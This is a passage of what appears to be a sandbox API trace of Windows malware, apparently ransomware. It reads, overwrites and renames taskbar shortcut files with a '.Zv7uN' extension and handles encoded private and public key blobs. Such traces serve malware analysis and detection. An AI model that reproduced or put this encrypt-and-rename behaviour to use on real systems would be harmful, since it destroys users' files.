hFile=0x128, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x491, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f96c*=0x491, lpOverlapped=0x0) returned 1 [0127.876] CloseHandle (hObject=0x128) returned 1 [0127.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\mozilla firefox.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0127.913] WriteFile (in: hFile=0x128, lpBuffer=0x1f01f70*, nNumberOfBytesToWrite=0x491, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f01f70*, lpNumberOfBytesWritten=0x18f978*=0x491, lpOverlapped=0x0) returned 1 [0127.915] CloseHandle (hObject=0x128) returned 1 [0127.916] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\mozilla firefox.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\mozilla firefox.lnk.zv7un")) returned 1 [0127.919] GetCurrentThreadId () returned 0xa30 [0127.919] GetCurrentThreadId () returned 0xa30 [0127.919] GetCurrentThreadId () returned 0xa30 [0127.919] GetCurrentThreadId () returned 0xa30 [0127.919] GetCurrentThreadId () returned 0xa30 [0127.919] GetCurrentThreadId () returned 0xa30 [0127.919] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc4b320, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc4b320, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="Windows Explorer (2).lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1 [0127.919] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.919] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.920] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer (2).lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc4b320, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc4b320, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc)) returned 1 [0127.920] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer (2).lnk")) returned 0x20 [0127.920] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer (2).lnk", dwFileAttributes=0x80) returned 1 [0127.923] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.923] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.924] GetCurrentThreadId () returned 0xa30 [0127.924] GetCurrentThreadId () returned 0xa30 [0127.924] GetCurrentThreadId () returned 0xa30 [0127.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.926] GetCurrentThreadId () returned 0xa30 [0127.926] GetCurrentThreadId () returned 0xa30 [0127.926] GetCurrentThreadId () returned 0xa30 [0127.926] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer (2).lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0127.926] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0127.926] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.927] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x4cc [0127.927] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.927] ReadFile (in: hFile=0x128, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x4cc, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f96c*=0x4cc, lpOverlapped=0x0) returned 1 [0127.929] CloseHandle (hObject=0x128) returned 1 [0127.929] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer (2).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0127.932] WriteFile (in: hFile=0x128, lpBuffer=0x1f01f70*, nNumberOfBytesToWrite=0x4cc, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f01f70*, lpNumberOfBytesWritten=0x18f978*=0x4cc, lpOverlapped=0x0) returned 1 [0127.934] CloseHandle (hObject=0x128) returned 1 [0127.935] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer (2).lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer (2).lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer (2).lnk.zv7un")) returned 1 [0127.939] GetCurrentThreadId () returned 0xa30 [0127.939] GetCurrentThreadId () returned 0xa30 [0127.939] GetCurrentThreadId () returned 0xa30 [0127.939] GetCurrentThreadId () returned 0xa30 [0127.939] GetCurrentThreadId () returned 0xa30 [0127.939] GetCurrentThreadId () returned 0xa30 [0127.939] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="Windows Explorer.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0127.939] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.939] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.939] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfa026d, 